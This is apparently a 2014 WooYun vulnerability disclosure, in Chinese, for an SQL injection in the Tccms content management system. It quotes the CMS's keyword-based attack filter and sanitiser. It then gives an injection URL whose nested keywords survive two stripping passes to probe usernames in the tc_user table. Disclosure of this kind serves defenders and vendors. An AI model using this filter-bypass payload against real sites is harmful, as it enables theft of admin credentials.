WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-070787

漏洞标题：Tccms sql注入获得管理账号密码

相关厂商：teamcen.com

漏洞作者： 路人甲

提交时间：2014-08-04 15:30

修复时间：2014-09-18 15:32

公开时间：2014-09-18 15:32

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

---

漏洞详情

披露状态：

2014-08-04： 细节已通知厂商并且等待厂商处理中
2014-08-04： 厂商已经确认，细节仅向厂商公开
2014-08-14： 细节向核心白帽子及相关领域专家公开
2014-08-24： 细节向普通白帽子公开
2014-09-03： 细节向实习白帽子公开
2014-09-18： 细节向公众公开

简要描述：

直接看到/app/model/attackAction.class.php这个文件
public function initLogHacker() {

/*get*/

foreach($_GET as $key=>$value){

if (!in_array($key, array('ac','a','c','do'))){//防止控制器和方法命名不规范被过滤

$this->StopAttack($key,$value,"get",$this->getfilter);



$_GET[$key] = StringUtil::safe_replace($value);

$_GET[$key] = StringUtil::remove_xss($_GET[$key]);

}

}
对于get类型的处理。跟进StopAttack
private function inject_check($sql_str) {

return eregi('select|insert|\'|\/\*|\*|\.\.\/|\.\/|union|into|and|or|load_file|outfile', $sql_str);// 进行过滤

}.........

private function StopAttack($StrFiltKey,$StrFiltValue,$method,$ArrFiltReq){

$StrFiltValue = strtolower($StrFiltValue);

if(is_array($StrFiltValue)) {

$StrFiltValue=implode($StrFiltValue);

}

if ($this->inject_check($StrFiltValue) || preg_match ( "/" . $ArrFiltReq . "/is", $StrFiltValue ) == 1){

if ($method == 'cookie') {

$_COOKIE[$StrFiltKey] = '';

$this->logAttack($StrFiltValue,$method);

}

if ($method == 'get') {

$_GET[$StrFiltKey] = '';

$this->logAttack($StrFiltValue,$method);

}

if ($method == 'post') {

$_POST[$StrFiltKey] = '';

$this->logAttack($StrFiltValue,$method);

}

}

}



private function logAttack($StrFiltValue,$method) {

$attackStr = "<br><br>SubmitIP:".$_SERVER["REMOTE_ADDR"]."<br>SubmitTime:".strftime("%Y-%m-%d %H:%M:%S")."<br>SubmitPage:".$_SERVER["REQUEST_URI"]."<br>SubmitMethod:".$_SERVER["REQUEST_METHOD"]."<br>SubmitParams:".NetUtil::get_url()."<br>SubmitData:".$StrFiltValue;

$mailObj = new Email();

$this->url = NetUtil::get_url();

$this->ip = NetUtil::getIp();

$this->str = $attackStr;

$this->killip = 0;

$this->method = $method;

$this->addtime = time();

$row = $this->query("select id from ".TABLEPRE."attack where ip='".NetUtil::getIp()."'");

if (count($row) > 5) {

$this->id = $row[0]["id"];

$this->killip = 1;

$this->update();

} else {

$this->save();

}

if (Config::get('attackmail') == 1) {

$mailObj->Subject = "WebSite Attack Notice";

$mailObj->Body = $attackStr;

$mailObj->sendMail();

}

}



}
记录下attack然后发送邮件- -。继续看到 safe_replace
public static function safe_replace($string) {

$string = strtolower($string);

$string = str_replace("_", '\_', $string); // 把 '_'过滤掉

$string = str_replace("%", '\%', $string); // 把' % '过滤掉

$string = str_replace('%20', '', $string);

$string = str_replace('%27', '', $string);

$string = str_replace('%2527', '', $string);

$string = str_replace('*', '', $string);

$string = str_replace('"', '&quot;', $string);

$string = str_replace("'", '', $string);

$string = str_replace('"', '', $string);

$string = str_replace(';', '', $string);

$string = str_replace('<', '&lt;', $string);

$string = str_replace('>', '&gt;', $string);

$string = str_replace("{", '', $string);

$string = str_replace('}', '', $string);

$string = str_replace('\\', '', $string);

$string = str_replace('or', '', $string);

$string = str_replace('insert', '', $string);

$string = str_replace('select', '', $string);

$string = str_replace('delete', '', $string);

$string = str_replace('and', '', $string);

$string = str_replace('union', '', $string);

$string = str_replace('load_file', '', $string);

$string = str_replace('outfil', '', $string);

$string = str_replace('truncate', '', $string);

$string = str_replace('..', '', $string);

$string = str_replace('//', '/', $string);

$string = str_replace('http:/', 'http://', $string);

return $string;

}
替换关键字为空。sql的话 remove_xss函数我们无视就好了。影响不大。
我们找一个 执行sql语句的文件
像这个。/app/controller/news.class.php
注册用户
get数据 http://localhost/index.php?ac=news_all&yz=1 aananddnd exists (selseselectlectect username from tc_user where ooorrrd(substring(username from 1 fooorrr 1))=97)%23。
在两次safe_replace后。 还原了我们的语句

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

---

漏洞回应

---